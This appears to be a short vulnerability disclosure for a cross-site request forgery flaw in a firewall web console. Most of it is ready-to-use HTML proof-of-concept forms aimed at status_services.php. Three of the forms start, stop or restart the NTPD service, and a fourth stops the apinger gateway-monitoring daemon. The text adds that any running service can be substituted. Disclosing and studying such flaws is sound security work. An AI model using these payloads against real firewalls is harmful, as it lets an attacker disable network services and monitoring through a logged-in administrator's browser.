1. Description
An attacker can coerce a logged-in victim's browser to issue requests that will start/stop/restart services on the Firewall.
2. Proof of Concept
Login to the Web Console, for example, http://192.168.0.1 (set at the time of install) and open the following POC’s:
Start NTPD service:
<html>
<body>
<form action="https://192.168.0.1/status_services.php">
<input type="hidden" name="mode" value="startservice" />
<input type="hidden" name="service" value="ntpd" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Stop NTPD service:
<html>
<body>
<form action="https://192.168.0.1/status_services.php">
<input type="hidden" name="mode" value="stopservice" />
<input type="hidden" name="service" value="ntpd" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Restart NTPD service:
POC:
<html>
<body>
<form action="https://192.168.0.1/status_services.php">
<input type="hidden" name="mode" value="restartservice" />
<input type="hidden" name="service" value="ntpd" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
The service will automatically start/stop.
Note: That NTPD service can be replaced with any service running on the Firewall. For example, to stop the APINGER (gateway monitoring daemon) service, use the following POC:
<html>
<body>
<form action="https://192.168.0.1/status_services.php">
<input type="hidden" name="mode" value="stopservice" />
<input type="hidden" name="service" value="apinger" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
